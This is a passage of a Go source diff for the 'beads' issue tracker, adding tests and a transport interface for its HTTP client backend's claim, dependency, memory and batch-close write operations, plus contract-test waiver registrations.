t.Fatalf("CloseBatch(ClaimNext) = %v, want the ledgered refusal", err) + } + if len(res.Outcomes) != 0 { + t.Errorf("a refused request carried outcomes: %+v", res.Outcomes) + } + if len(w.calls) != 0 { + t.Errorf("a ClaimNext refusal dialed %v; it must never half-serve the close", w.calls) + } + }) + } +} + +// TestClaimReportsTheIdempotentReclaim: already_claimed on a 200 is the SAME +// actor re-claiming, and the role spells that Changed false. Reading it as a +// conflict would make an agent polling its own claim fire the update hook on +// every poll. +func TestClaimReportsTheIdempotentReclaim(t *testing.T) { + w := &stubWire{claim: &apigen.ClaimResponse{ + AlreadyClaimed: true, Issue: types.Issue{ID: "bd-1", Assignee: "writer"}, + }} + claimer, err := stubStore(t, w).IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + res, err := claimer.Claim(t.Context(), issueops.ClaimRequest{Actor: "writer", IssueID: "bd-1"}) + if err != nil { + t.Fatalf("Claim: %v", err) + } + if res.Changed { + t.Error("Changed = true for an idempotent re-claim") + } + if res.Issue == nil || res.Issue.ID != "bd-1" { + t.Errorf("Issue = %+v, want the post-claim row", res.Issue) + } +} + +func readyRow(id string, deps int) apigen.IssueWithCounts { + issue := &types.Issue{ID: id, Status: types.StatusOpen} + return apigen.IssueWithCounts{Issue: issue, DependencyCount: deps} +} + +// TestReadyClaimWalksPastLostRacesAndHydratesFromThePage covers the composition +// D8 row 4 specifies: a taken row is walked past, and the row that lands carries +// the claim's post-state issue with the listing's cardinalities. +func TestReadyClaimWalksPastLostRacesAndHydratesFromThePage(t *testing.T) { + w := &stubWire{ + ready: []*apigen.ReadyPage{{Items: []apigen.IssueWithCounts{readyRow("bd-1", 4), readyRow("bd-2", 7)}}}, + claim: &apigen.ClaimResponse{Issue: types.Issue{ID: "bd-2", Assignee: "writer", Status: types.StatusInProgress}}, + errs: []error{ + nil, // the ready listing + &issueops.ClaimConflictError{IssueID: "bd-1", Assignee: "other", Err: issueops.ErrAlreadyClaimed}, + }, + } + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + res, err := claimer.ClaimNext(t.Context(), issueops.ClaimNextRequest{Actor: "writer"}) + if err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-2" { + t.Fatalf("Claimed = %+v, want the second row", res.Claimed) + } + if res.Claimed.Status != types.StatusInProgress { + t.Errorf("Claimed.Status = %q, want the POST-claim status", res.Claimed.Status) + } + if res.Claimed.DependencyCount != 7 { + t.Errorf("DependencyCount = %d, want the listing's %d", res.Claimed.DependencyCount, 7) + } +} + +// TestReadyClaimSeparatesAnEmptyFrontFromLostRaces is L14's second residue made +// visible: a drained queue is a nil-Claimed success, and a front that existed +// but was taken is an error. Reporting the second as the first would tell a +// polling agent there is no work when there is. +func TestReadyClaimSeparatesAnEmptyFrontFromLostRaces(t *testing.T) { + t.Run("empty front", func(t *testing.T) { + w := &stubWire{ready: []*apigen.ReadyPage{{}}} + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + res, err := claimer.ClaimNext(t.Context(), issueops.ClaimNextRequest{Actor: "writer"}) + if err != nil { + t.Fatalf("ClaimNext on a drained queue = %v, want nil", err) + } + if res.Claimed != nil { + t.Errorf("Claimed = %+v, want nil", res.Claimed) + } + }) + + t.Run("every candidate lost", func(t *testing.T) { + w := &stubWire{ + ready: []*apigen.ReadyPage{{Items: []apigen.IssueWithCounts{readyRow("bd-1", 0)}}}, + errs: []error{nil, issueops.ErrNotClaimable}, + } + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + res, err := claimer.ClaimNext(t.Context(), issueops.ClaimNextRequest{Actor: "writer"}) + if !errors.Is(err, ErrClaimRacesLost) { + t.Fatalf("ClaimNext = %v, want the lost-races refusal", err) + } + if res.Claimed != nil { + t.Errorf("Claimed = %+v, want nil", res.Claimed) + } + var lost *ClaimRacesLostError + if !errors.As(err, &lost) || lost.Attempts != 1 { + t.Errorf("lost-races error = %v, want one recorded attempt", err) + } + }) +} + +// TestReadyClaimRefusesTheRequestMembersTheRoleForbids: Limit and Offset are the +// role's own refusals, not the encoder's, and a bounded window would report an +// empty front whenever that window happened to be unclaimable. +func TestReadyClaimRefusesTheRequestMembersTheRoleForbids(t *testing.T) { + limit := 5 + cases := map[string]issueops.ClaimNextRequest{ + "no actor": {Filter: issueops.ReadyRequest{}}, + "limit": {Actor: "w", Filter: issueops.ReadyRequest{Limit: &limit}}, + "offset": {Actor: "w", Filter: issueops.ReadyRequest{Offset: 3}}, + } + for name, req := range cases { + t.Run(name, func(t *testing.T) { + w := &stubWire{} + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + if _, err := claimer.ClaimNext(t.Context(), req); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("ClaimNext(%s) = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } + }) + } +} + +// TestReadyClaimDoesNotMutateTheCallerFilter: the page size is ours and the +// filter is the caller's, and writing one into the other would leave a Limit on +// a request the role has just refused Limits on. +func TestReadyClaimDoesNotMutateTheCallerFilter(t *testing.T) { + w := &stubWire{ready: []*apigen.ReadyPage{{}}} + claimer, err := stubStore(t, w).ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer(): %v", err) + } + req := issueops.ClaimNextRequest{Actor: "writer", Filter: issueops.ReadyRequest{Labels: []string{"a"}}} + before := req + if _, err := claimer.ClaimNext(t.Context(), req); err != nil { + t.Fatalf("ClaimNext: %v", err) + } + if !reflect.DeepEqual(req, before) { + t.Errorf("the caller's request changed: %+v, want %+v", req, before) + } +} + +// TestDependencyAddRefusesWhatTheWireCannotCarry covers the three request-level +// refusals: the unpublished skip flag, the wire's 100-edge bound (never chunked, +// L16), and the self-dependency the role names its own sentinel for. +func TestDependencyAddRefusesWhatTheWireCannotCarry(t *testing.T) { + edge := issueops.DependencyEdge{IssueID: "bd-1", DependsOnID: "bd-2", Type: issueops.DepBlocks} + + t.Run("SkipPerEdgeCycleCheck", func(t *testing.T) { + w := &stubWire{} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + _, err = editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{ + Actor: "w", Edges: []issueops.DependencyEdge{edge}, SkipPerEdgeCycleCheck: true, + }) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("AddDependencies with the skip flag = %v, want a refusal", err) + } + if len(w.calls) != 0 { + t.Errorf("the refusal dialed %v", w.calls) + } + }) + + t.Run("past the wire bound", func(t *testing.T) { + w := &stubWire{added: &apigen.AddDependenciesResponse{}} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + edges := make([]issueops.DependencyEdge, 0, maxAddDependencyEdges+1) + for i := 0; i <= maxAddDependencyEdges; i++ { + edges = append(edges, issueops.DependencyEdge{ + IssueID: "bd-src", DependsOnID: "bd-" + strconv.Itoa(i), Type: issueops.DepBlocks, + }) + } + if _, err := editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{Actor: "w", Edges: edges}); !errors.Is(err, encode.ErrRefused) { + t.Fatalf("AddDependencies with %d edges = %v, want the bound's refusal", len(edges), err) + } + if len(w.calls) != 0 { + t.Errorf("the over-bound request was dialed (%v); chunking is exactly what L16 forbids", w.calls) + } + + // The boundary itself serves. + if _, err := editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{Actor: "w", Edges: edges[:maxAddDependencyEdges]}); err != nil { + t.Fatalf("AddDependencies with exactly %d edges: %v", maxAddDependencyEdges, err) + } + }) + + t.Run("self dependency", func(t *testing.T) { + w := &stubWire{} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + _, err = editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{ + Actor: "w", Edges: []issueops.DependencyEdge{{IssueID: "bd-1", DependsOnID: "bd-1", Type: issueops.DepBlocks}}, + }) + if !errors.Is(err, issueops.ErrSelfDependency) { + t.Fatalf("self-dependency = %v, want ErrSelfDependency", err) + } + }) +} + +// TestDependencyAddEchoesTheServersOrder reads the response back rather than +// re-echoing the request, which is the only way a server that ever answered +// something else would be caught. +func TestDependencyAddEchoesTheServersOrder(t *testing.T) { + w := &stubWire{added: &apigen.AddDependenciesResponse{Added: []apigen.DependencyEdge{ + {IssueId: "bd-1", DependsOnId: "bd-2", Type: "blocks"}, + }}} + editor, err := stubStore(t, w).DependencyEditor() + if err != nil { + t.Fatalf("DependencyEditor(): %v", err) + } + res, err := editor.AddDependencies(t.Context(), issueops.AddDependenciesRequest{ + Actor: "w", Edges: []issueops.DependencyEdge{{IssueID: "bd-1", DependsOnID: "bd-2", Type: issueops.DepBlocks}}, + }) + if err != nil { + t.Fatalf("AddDependencies: %v", err) + } + want := []issueops.DependencyEdge{{IssueID: "bd-1", DependsOnID: "bd-2", Type: issueops.DepBlocks}} + if !reflect.DeepEqual(res.Added, want) { + t.Errorf("Added = %+v, want %+v", res.Added, want) + } + if w.lastAdd.Actor != "w" || len(w.lastAdd.Edges) != 1 { + t.Errorf("request body = %+v, want the actor and the one edge", w.lastAdd) + } +} + +// TestMemoryMissesAreResultsNotErrors is the one real translation in the memory +// role: memoryops declares no ErrNotFound on purpose, and the wire spells a miss +// as a 404. Leaking that through would make `bd recall` of an unknown key an +// error where every other backend prints "not found". +func TestMemoryMissesAreResultsNotErrors(t *testing.T) { + t.Run("recall", func(t *testing.T) { + w := &stubWire{errs: []error{issueops.ErrNotFound}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.Recall(t.Context(), memoryops.RecallRequest{Key: "nope"}) + if err != nil { + t.Fatalf("Recall of an absent key = %v, want nil", err) + } + if res.Found || res.Key != "nope" { + t.Errorf("RecallResult = %+v, want Found false with the key echoed", res) + } + }) + + t.Run("forget", func(t *testing.T) { + w := &stubWire{errs: []error{issueops.ErrNotFound}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.Forget(t.Context(), memoryops.ForgetRequest{Key: "nope"}) + if err != nil { + t.Fatalf("Forget of an absent key = %v, want nil", err) + } + if res.Found { + t.Errorf("ForgetResult = %+v, want Found false", res) + } + }) +} + +// TestMemoryRememberDerivesItsKeyServerSide: an omitted key is a different +// request from an empty one, and the derived key comes back in the result. +func TestMemoryRememberDerivesItsKeyServerSide(t *testing.T) { + w := &stubWire{remember: &apigen.RememberedMemory{Key: "derived", Value: "content", Replaced: true}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.Remember(t.Context(), memoryops.RememberRequest{Content: "content"}) + if err != nil { + t.Fatalf("Remember: %v", err) + } + if res.Key != "derived" || !res.Replaced { + t.Errorf("RememberResult = %+v, want the server's derived key and its Replaced", res) + } + + if _, err := memories.Remember(t.Context(), memoryops.RememberRequest{Content: " "}); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Remember of blank content = %v, want ErrValidation", err) + } +} + +// TestMemoryListAnswersAnEmptyMapNeverNil: a caller ranges over the answer, and +// "the plane is empty" is not something to spell as an absent one. +func TestMemoryListAnswersAnEmptyMapNeverNil(t *testing.T) { + w := &stubWire{page: &apigen.MemoriesPage{}} + memories, err := stubStore(t, w).Memories() + if err != nil { + t.Fatalf("Memories(): %v", err) + } + res, err := memories.List(t.Context(), memoryops.ListRequest{Search: "Term"}) + if err != nil { + t.Fatalf("List: %v", err) + } + if res.Memories == nil { + t.Error("Memories is nil, want an empty map") + } + // The folding is the role's and happens server-side; sending a lowercased + // term would be a second implementation of a rule that has one. + if w.lastSearch != "Term" { + t.Errorf("search parameter = %q, want the caller's term verbatim", w.lastSearch) + } +} + +// TestWriteAccessorsRefuseWithoutATransport: a build that registered the backend +// without linking a wire client is a wiring fault, and it must be named rather +// than reached as a nil dereference three frames into a role. +func TestWriteAccessorsRefuseWithoutATransport(t *testing.T) { + s := New(testTarget(t), nil, nil) + accessors := map[string]func() error{ + "IssueClaimer": func() error { _, err := s.IssueClaimer(); return err }, + "ReadyClaimer": func() error { _, err := s.ReadyClaimer(); return err }, + "IssueLifecycle": func() error { _, err := s.IssueLifecycle(); return err }, + "DependencyEditor": func() error { _, err := s.DependencyEditor(); return err }, + "Memories": func() error { _, err := s.Memories(); return err }, + "BatchCloser": func() error { _, err := s.BatchCloser(); return err }, + } + for name, open := range accessors { + if err := open(); !errors.Is(err, ErrNoTransport) { + t.Errorf("%s() without a transport = %v, want ErrNoTransport", name, err) + } + } + if err := s.CloseIssue(t.Context(), "bd-1", "", "w", ""); !errors.Is(err, ErrNoTransport) { + t.Errorf("CloseIssue without a transport = %v, want ErrNoTransport", err) + } +} diff --git a/internal/httpclient/writewire.go b/internal/httpclient/writewire.go new file mode 100644 index 000000000..e9b7989bb --- /dev/null +++ b/internal/httpclient/writewire.go @@ -0,0 +1,163 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/writewire.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + "net/url" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// WriteWire is the transport surface the WRITE roles dispatch through: the six +// mutating v0 operations plus the two memory reads that belong to the same +// role, plus the ready listing the composed ClaimNext is built from. +// +// It is a separate interface from WireClient's own method rather than a +// widening of it because a role bead should be able to state exactly what +// transport it needs. WireClient embeds it, so a store still holds one +// transport and the compiler still proves a build linked one. +// +// Every method here takes and returns apigen types. That is not laziness about +// a domain type: apigen.Issue IS internal/types.Issue (a Go type alias pinned +// by the document), so there is no second wire struct to convert through, and +// minting one would be the field-by-field copy the pinning exists to prevent. +type WriteWire interface { + ClaimIssue(ctx context.Context, id string, body apigen.ClaimRequest) (*apigen.ClaimResponse, error) + // ClaimNextIssue takes the next ready issue as one act. It is the only + // method here that names no resource AND carries a query: the filter that + // chooses the row is listReadyWork's vocabulary spelled as a query string, + // and the actor is the whole body. + ClaimNextIssue(ctx context.Context, params url.Values, body apigen.ClaimNextRequest) (*apigen.ClaimNextResponse, error) + // CreateIssue creates ONE issue and answers the row as stored. It names no + // id: the request may name one and may not, and the server mints it when + // the request does not. + CreateIssue(ctx context.Context, body apigen.CreateIssueRequest) (*apigen.Issue, error) + CloseIssue(ctx context.Context, id string, body apigen.CloseIssueRequest) (*apigen.CloseIssueResponse, error) + ReopenIssue(ctx context.Context, id string, body apigen.ReopenIssueRequest) (*apigen.ReopenIssueResponse, error) + // ReleaseIssue gives back the claim on one issue. Its response carries the + // post-release row version BESIDE the row rather than on it, because + // types.Issue.RowVersion is `json:"-"`; the role stitches the two together. + ReleaseIssue(ctx context.Context, id string, body apigen.ReleaseIssueRequest) (*apigen.ReleaseIssueResponse, error) + // AddComment appends one comment to the thread an issue owns, and is the one + // write here whose path names a SUB-RESOURCE collection rather than the + // issue. What comes back is the member the POST created — the stored comment, + // with the id the insert minted and created_at at the column's precision. + AddComment(ctx context.Context, id string, body apigen.AddCommentRequest) (*apigen.Comment, error) + // UpdateIssue takes the patch as a DOCUMENT rather than a struct: on this + // operation a member's presence is the signal to write it and an explicit + // null on one of the four nullable members is the clear, and no struct of + // pointers with `omitempty` can express both. The builder is + // encodeIssuePatch; this layer marshals what it decided. + // + // The guard trio travels beside it as wire.UpdateGuards rather than inside + // the document — the server reads them off the body's top level — and is a + // typed struct because it is the one part of this request whose ABSENT and + // ZERO states are different requests. The claim and the three force + // overrides travel the same way, as wire.UpdateFlags. + UpdateIssue(ctx context.Context, id, actor string, patch map[string]any, guards wire.UpdateGuards, flags wire.UpdateFlags) (*apigen.UpdateIssueResponse, error) + + // CompareAndSetMetadata is the one write on this seam whose REFUSAL is a + // 200: a lost race answers `swapped: false` with the value that refused it, + // so the verdict is a member of a success body rather than an error, and + // the role reads it there. + CompareAndSetMetadata(ctx context.Context, id string, body apigen.CompareAndSetMetadataRequest) (*apigen.CompareAndSetMetadataResponse, error) + + AddDependencies(ctx context.Context, body apigen.AddDependenciesRequest) (*apigen.AddDependenciesResponse, error) + RemoveDependency(ctx context.Context, body apigen.RemoveDependencyRequest) (*apigen.RemoveDependencyResponse, error) + + // The three collection-level custom methods. They name no resource in the + // path — a sweep describes a set, a delete and a batch create carry their + // ids and their items in the body — so unlike the four above they take no + // id argument at all. + SweepIssues(ctx context.Context, body apigen.SweepRequest) (*apigen.SweepResult, error) + DeleteIssues(ctx context.Context, body apigen.DeleteIssuesRequest) (*apigen.DeleteIssuesResult, error) + BatchCreateIssues(ctx context.Context, body apigen.BatchCreateRequest) (*apigen.BatchCreateResponse, error) + + // ApplyBatch applies an ordered, heterogeneous plan as one transaction or + // not at all. Its body is wire.ApplyBatchRequest rather than apigen's for + // UpdateIssue's reason and in one place only: an update item's patch is a + // DOCUMENT, because presence is the signal there and an explicit null on + // one of the four nullable members is the clear. Everything else in the + // body is the generated type. + // + // It has no per-item outcome array on a refusal, unlike batchClose: the + // request is all or nothing, so the offender travels in the problem + // document's item_* members and the role rebuilds *issueops.ItemError from + // them. + ApplyBatch(ctx context.Context, body wire.ApplyBatchRequest) (*apigen.ApplyBatchResponse, error) + + // BatchCloseIssues closes a set of issues as one act. Its response carries + // per-item outcomes inside a 200, which the BatchCloser role walks; the top + // level classifies through the shared problem mapper like every other write. + BatchCloseIssues(ctx context.Context, body apigen.BatchCloseRequest) (*apigen.BatchCloseResponse, error) + + RememberMemory(ctx context.Context, body apigen.RememberRequest) (*apigen.RememberedMemory, error) + RecallMemory(ctx context.Context, key string) (*apigen.Memory, error) + ForgetMemory(ctx context.Context, key string) (*apigen.Memory, error) + ListMemories(ctx context.Context, search string) (*apigen.MemoriesPage, error) + + ListReadyWork(ctx context.Context, params url.Values) (*apigen.ReadyPage, error) +} + +// roleWire narrows the store's transport for a role that is about to dispatch. +// +// A store built with no transport is a build-wiring fault, not a user's, and it +// must not surface as a nil-pointer panic three frames into a role. Every role +// accessor below calls this first, so the fault is named once. +func (s *Store) roleWire(accessor string) (WriteWire, error) { + if s == nil || s.wire == nil { + return nil, fmt.Errorf("%w: %s cannot dial %s", ErrNoTransport, accessor, s.target) + } + return s.wire, nil +} + +// invalid builds a deterministic request-validation failure. +// +// Every role's doc promises these match issueops.ErrValidation, and every one of +// them is raised BEFORE the dial. That ordering is the point: a request the role +// contract calls invalid must not reach a shared server as a 400 whose problem +// body a future server release might spell differently, and it must not consume +// a write slot to be told what the client already knew. +func invalid(format string, args ...any) error { + return fmt.Errorf("%s: %w", fmt.Sprintf(format, args...), issueops.ErrValidation) +} + +// refuse raises the typed refuse-not-drop failure for a request member the v0 +// wire has no place for, citing the divergence-ledger row that says why. +// +// Raising BY LEDGER ID rather than by string is what makes a refusal without a +// row impossible: RowByID panics on an id the ledger does not carry, so a +// forgotten entry is a loud programming error rather than a refusal with no +// vocabulary for the taxonomy to render. +func refuse(op encode.Op, ledgerID string) error { + return &encode.RefusedError{Op: op, Row: encode.RowByID(ledgerID)} +} + +// requireActor is the actor rule every write on this surface shares. The server +// applies its own (trim, 256 bytes, no control characters) and answers a 400; +// this is only the emptiness half, which every role's own contract states. +func requireActor(actor string) error { + if strings.TrimSpace(actor) == "" { + return invalid("actor is required") + } + return nil +} + +// requireID refuses an empty id before it can become a path. +// +// Without it an empty id would join to the COLLECTION path and turn an +// operation on one resource into an operation on all of them. escapeSegment +// refuses it too, but it refuses with a transport error where the role +// contracts promise ErrValidation. +func requireID(kind, id string) error { + if strings.TrimSpace(id) == "" { + return invalid("%s is required", kind) + } + return nil +} diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index 394365aea..e8ed03a5c 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -108,6 +108,7 @@ go_test( data = [ ":tree_go_srcs", "//backend/conformance:go_srcs", + "//internal/httpclient:go_srcs", ], embed = [":storage"], deps = [ @@ -169,6 +170,7 @@ filegroup( "//internal/storage/sqlclass:go_srcs", "//internal/storage/sqlcount:go_srcs", "//internal/storage/storagecontract:go_srcs", + "//internal/storage/unsupportedgen:go_srcs", "//internal/storage/uow:go_srcs", "//internal/storage/versioncontrolops:go_srcs", ], diff --git a/internal/storage/backends/backends.go b/internal/storage/backends/backends.go index 3c4ba0fcf..a8360027d 100644 --- a/internal/storage/backends/backends.go +++ b/internal/storage/backends/backends.go @@ -131,6 +131,14 @@ type Backend struct { Open func(ctx context.Context, beadsDir string) (storage.DoltStorage, error) // OpenReadOnly opens the workspace for a read-only command. + // + // cmd/bd opens two postures through this one hook: the root pre-run's + // CLASSIFIED read commands, which may still write (`bd ready --claim` + // claims through the store it returns, as the built-in embedded arm's + // OpenForReadOnlyCommand allows), and the non-mutating opens — previews, + // cross-repo hydration, doctor — which must not. A backend cannot tell the + // two apart here, so a caller must not assume the store refuses writes: + // the http client backend answers with a writable one and says so. OpenReadOnly func(ctx context.Context, beadsDir string) (storage.DoltStorage, error) // WorkspaceIsBeadsDir means metadata.json and the remote store are enough diff --git a/internal/storage/contract_leg_registry_test.go b/internal/storage/contract_leg_registry_test.go index 895264bfd..8bd0d99d8 100644 --- a/internal/storage/contract_leg_registry_test.go +++ b/internal/storage/contract_leg_registry_test.go @@ -49,6 +49,27 @@ func init() { registerContractLeg(contractLeg{name: "dolt", wiringRoot: "internal/storage/dolt"}) registerContractLeg(contractLeg{name: "embeddeddolt", wiringRoot: "internal/storage/embeddeddolt"}) registerContractLeg(contractLeg{name: "uow", wiringRoot: "internal/storage/uow"}) + registerContractLeg(contractLeg{ + name: "http", + wiringRoot: "internal/httpclient", + adopting: "S3 wires every read role (IssueReader, Counter, ReadyCounter, GraphCounter, EdgeReader, " + + "Relations, BlockingAnnotator, TreeWalker, CycleDetector, Querier, StatsReporter, WorkspaceConfig, " + + "Memories, Journal minus watch) plus MetadataCAS and DependencyEditor in full; the HTTP leg's own " + + "CycleDetector.IncludeTracks gap, the nine Bootstrapper cases " + + "(internal/httpclient/accessors.go names Bootstrapper PERMANENTLY UNSERVABLE — no wire operation " + + "and none coming — see bootstrapperPermanentlyUnservableWaiverReason), the four Importer cases " + + "(uow is Importer's one accessor, same as the other two legs), and the twenty-two " + + "RetentionFixture/EpochFixture/CrossRecordInvariantFixture cases (raw storage bookkeeping with no " + + "publicops role behind them — see retentionEpochNoRoleWaiverReason and " + + "crossRecordInvariantNoRoleWaiverReason) are all named waivers, not part of this ceiling. What is " + + "still counted here is write-role and internal-plumbing work S4 and later slices wire and ratchet " + + "down one tranche at a time: lifecycle writes (IssueOperationsUpdate, LifecycleUpdate), " + + "DualWrite's Phase-2 history mechanism, Sweeper, VersionReconciler, InitVerifier, and " + + "ExpectedRevision/Refusal. VersionReconciler and InitVerifier are named PERMANENTLY UNSERVABLE by " + + "the same accessors.go comment that covers Bootstrapper, but moving them to a named waiver is out " + + "of scope for the change that lowered this ceiling to 42 and is left for their own reviewed change", + adoptionCeiling: 42, + }) } // contractLeg is one registered backend leg: what the lock calls it, where its diff --git a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go index 108cd4bd9..5fab44fa9 100644 --- a/internal/storage/dolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/dolt/lifecycle_close_reopen_contract_test.go @@ -62,6 +62,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ResultsAreHydratedPostStateSnapshots", func(t *testing.T) { conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, ctx, fixture) }) + t.Run("ResultsCarryThePostWriteRowVersion", func(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, ctx, fixture) + }) t.Run("CloseAndReopenRequireActorAndIssueID", func(t *testing.T) { conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, ctx, fixture) }) diff --git a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go index 1dc876f99..153b33232 100644 --- a/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_close_reopen_contract_test.go @@ -65,6 +65,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ResultsAreHydratedPostStateSnapshots", func(t *testing.T) { conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, ctx, fixture) }) + t.Run("ResultsCarryThePostWriteRowVersion", func(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, ctx, fixture) + }) t.Run("CloseAndReopenRequireActorAndIssueID", func(t *testing.T) { conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, ctx, fixture) }) diff --git a/internal/storage/leg_contract_wiring_test.go b/internal/storage/leg_contract_wiring_test.go index 3da2b632e..398e6b19f 100644 --- a/internal/storage/leg_contract_wiring_test.go +++ b/internal/storage/leg_contract_wiring_test.go @@ -56,8 +56,121 @@ func init() { "RunIssueOperationsCreateReverseNonBlockingStagesConcreteTables": stagingWaiverReason, "RunIssueOperationsCreateParentChildRecomputesWaitsForClosure": stagingWaiverReason, }) + registerContractLegWaivers("http", map[string]string{ + "RunCycleDetectorIncludeTracksFindsTheMoleculeRootShape": cycleTracksWireGapWaiverReason, + "RunCycleDetectorIncludeTracksIgnoresAPureTracksLoop": cycleTracksWireGapWaiverReason, + "RunCycleDetectorIncludeTracksWalksEachEdgeInItsStoredDirection": cycleTracksWireGapWaiverReason, + + "RunBootstrapperIdentifiesAFreshSubstrate": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperLeavesTheSubstrateUntouchedWhenItCannotComplete": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRecordsExactlyOneHistoryEntry": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRecordsNoHistoryEntryOfItsOwn": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesASubstrateCarryingOnlyAPrefix": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesASubstrateCarryingOnlyAProjectID": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesAnIdentifiedSubstrate": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperRefusesAnInvalidRequestWithoutWriting": bootstrapperPermanentlyUnservableWaiverReason, + "RunBootstrapperStoresThePrefixWithoutItsTrailingHyphen": bootstrapperPermanentlyUnservableWaiverReason, + + "RunImporterRejectsAStaleRowAndNamesIt": importerOneAccessorWaiverReason, + "RunImporterReportsTheAbsentTargetItDroppedOnce": importerOneAccessorWaiverReason, + "RunImporterWiresTheCrossPlaneEdgeBetweenItsRows": importerOneAccessorWaiverReason, + "RunImporterReportsTheCycleEdgeItDropped": importerOneAccessorWaiverReason, + + "RunADestructiveOperationEnumeratesAffectedAddressesFirst": retentionEpochNoRoleWaiverReason, + "RunAHoldPreventsRemovalAndReportsInRetainedBounds": retentionEpochNoRoleWaiverReason, + "RunAStoreThatRemovesStateStillAnswersGoneDurably": retentionEpochNoRoleWaiverReason, + "RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone": retentionEpochNoRoleWaiverReason, + "RunAnAddressNeverResolvesToADifferentState": retentionEpochNoRoleWaiverReason, + "RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange": retentionEpochNoRoleWaiverReason, + "RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed": retentionEpochNoRoleWaiverReason, + "RunErasureMintsACorrectedVersionRatherThanEditingInPlace": retentionEpochNoRoleWaiverReason, + "RunEveryRetentionAnswerNamesItsProducingStore": retentionEpochNoRoleWaiverReason, + "RunForcingAHeldRemovalRecordsWhoWhenWhy": retentionEpochNoRoleWaiverReason, + "RunGoneIsDistinguishableFromUnknown": retentionEpochNoRoleWaiverReason, + "RunRemovalLeavesTheAddressAbleToAnswer": retentionEpochNoRoleWaiverReason, + "RunRemovalNeverReassignsASurvivingAddress": retentionEpochNoRoleWaiverReason, + "RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly": retentionEpochNoRoleWaiverReason, + "RunRemovalReportsTheSurvivingRetainedWindow": retentionEpochNoRoleWaiverReason, + + "RunAdvisoryLeaseAloneDoesNotPreventTheInvariantViolation": crossRecordInvariantNoRoleWaiverReason, + "RunCrossRecordInvariantSurvivesTwoPassingPerRecordGuards": crossRecordInvariantNoRoleWaiverReason, + "RunInvariantRefusalNamesTheViolatedInvariant": crossRecordInvariantNoRoleWaiverReason, + "RunLeaseAcquisitionRecordsNoHistoryEntry": crossRecordInvariantNoRoleWaiverReason, + "RunMaximumEndpointMultiplicityIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, + "RunMemoryKeyAliasUniquenessIsAStoreInvariantNotACAS": crossRecordInvariantNoRoleWaiverReason, + "RunStoreInvariantTransactionScopesExactlyTheSpanningRecords": crossRecordInvariantNoRoleWaiverReason, + }) } +// cycleTracksWireGapWaiverReason covers the one CycleDetector widening option +// the HTTP wire does not carry at all. +// +// issueops.DetectCyclesRequest.IncludeTracks is a WIDENING field consumed +// today only by `bd dep cycles` in-process. internal/httpapi/cycles.go calls +// DetectCycles with a bare issueops.DetectCyclesRequest{} — it decodes no +// query parameter for it — and internal/httpclient's 